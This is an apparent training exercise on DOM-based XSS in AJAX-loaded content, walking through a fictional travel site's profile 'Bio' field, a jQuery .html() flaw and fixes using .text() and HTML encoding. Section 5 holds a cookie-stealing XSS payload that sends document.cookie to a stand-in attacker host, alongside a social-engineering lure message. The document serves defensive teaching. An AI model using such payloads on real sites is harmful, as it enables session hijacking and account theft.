8. Front End Security Basics: DOM XSS in AJAX
1. VULNERABILITY INTRODUCED
When an HTML page is rendered in browsers, the browser downloads the HTML into local memory and automatically parses it to display the page on the screen. When a web page is loaded, the browser creates a Document Object Model (DOM) of the page, which is an object-oriented representation of an HTML document, that acts as an interface between JavaScript and the document itself and allows the creation of dynamic web pages. So, the objects in the DOM tree may be addressed and manipulated by using methods on the objects. Existing JavaScript can update the DOM, and new data can also contain JavaScript.
DOM Based XSS is a cross-site scripting attack where the original client-side script executes the malicious payload as a result of modifying the DOM environment in the victim’s browser so that the client side code runs in an unexpected manner. The Web page itself does not change, and the data flow never leaves the browser, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
For example, AJAX code loaded in the browser can have entry points to XSS. A JavaScript program can use AJAX to request a resource that occurs in the background without the user’s knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests.
Also, an XSS attack could send requests for specific pages other than the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.
2. EXERCISE BACKGROUND
The vulnerable application pane loads the GuruTravel.me website, where the users share their experience, feedback, and photos of places where they have traveled recently.
Bob is a malicious user of this website. When he was editing his account, he found out that when he edits the “Bio” section of the user profile, it is updated instantly, without the complete profile page being reloaded in the browser.
3. VULNERABLE CODE
The “Bio” section was independently updated. What that means is that there is some JavaScript code inside the user profile page, that asynchronously sends some data to the server and then requests it from the server to update the relevant HTML element in the DOM model.
Let’s study the corresponding code sample, the element-rendering part of it.
In this code sample, getJSON()
method in jQuery script requests the profile information for the user with a certain username, formatted as a JSON.
Then the bio
variable is assigned a value from the bio
name/value pair of the JSON.
After that .html()
method renders the content of the bio
variable as HTML.
4. VULNERABILITY DETECTED
Bob decides to test this page for the DOM XSS vulnerability.
He adds the following JavaScript code to the “Bio” section:
<script>alert(‘This website is vulnerable!’)</script>
When Bob saves the updated “Bio”, the malicious script is executed by the client-side code, and the alert is displayed. (The script is usually not visible on the page, because the browser treats it as code and doesn’t display it to the user, but here we left it visible for the purpose of clarity.)
If Bob now shares the link to his profile with other users of GuruTravel.me website, for example, with Alice, then the same script will be executed in Alice’s browser after he opens his profile page.
With this DOM XSS vulnerability, Bob can use the script that will steal Alice’s session token (in case the HttpOnly flag is not included in the HTTP response header), or impersonate her in making a purchase, or post some content on her behalf (and Alice would have no way of proving that she did not perform the certain action).
5. MALICIOUS PAYLOAD CREATED
To get prepared to the attack, Bob opens server log on his server, and saves the following script in the “Bio” section of his profile page on the GuruTravel.me website:
<script>document.write(“<img src=’https://www.bobsevilserver.com/catch?cookie=” + document.cookie + “‘ /> “);</script>
6. SUCCESSFUL ATTACK
Bob sends a request to Alice, asking her permission to view details on her recent trip to Madagascar:
Hi Alice,
I noticed that you’ve just returned from the trip to Madagascar and posted feedback about it for your friends. I’m going to visit Madagascar soon, and I’d like to have access to the details of your trip to make my own travelling experience better.
Kind Regards,
Bob (http://www.gurutravel.me/profile/bobhackeye)
Alice doesn’t have Bob in her friends list, so she clicks the link to his profile to learn more about him.
7. VULNERABILITY FIXED
Let’s see how the vulnerable code could be modified to prevent this attack.
So, getJSON()
method in jQuery script still requests a JSON with the profile information for the certain user.
But then we decided to choose a different approach. When dynamically updating the page with some asynchronously loaded content, a better solution is to separate HTML from the input and use .text()
instead of .html()
.
However, this will only prevent issues with content inserted into HTML and will be completely insufficient for other contexts, such as Javascript, HTML attributes and, basically, anything that isn’t a text content between two HTML tags. If it were inserted into an attribute/Javascript context, it could still be escaped using quotes, apostrophes, backslashes and more.
8. ALTERNATIV FIX
Also, a universal solution can be introduced, and it involves creating a sanitizer for all malicious characters.
For this purpose, developers can enable client-side context-sensitive output escaping because it provides a good level of protection. When the data is correctly escaped before being served to the user for display in their browser, the browser does not interpret it as code and instead interprets it as data, thus ensuring it does not get executed.
For example, the string: <script> is converted to <script> when properly escaped and is simply rendered as text in the user’s browser window rather than being interpreted as code.
HtmlEncode
function definition specifies mapping for special characters (that can be used in the creation of malicious payload).
Being applied to the JSON parameter value, it will automatically escape and encode HTML characters within the rendered HTML (including <
, >
, "
, '
and &
), thereby preventing injection of potentially malicious JavaScript code.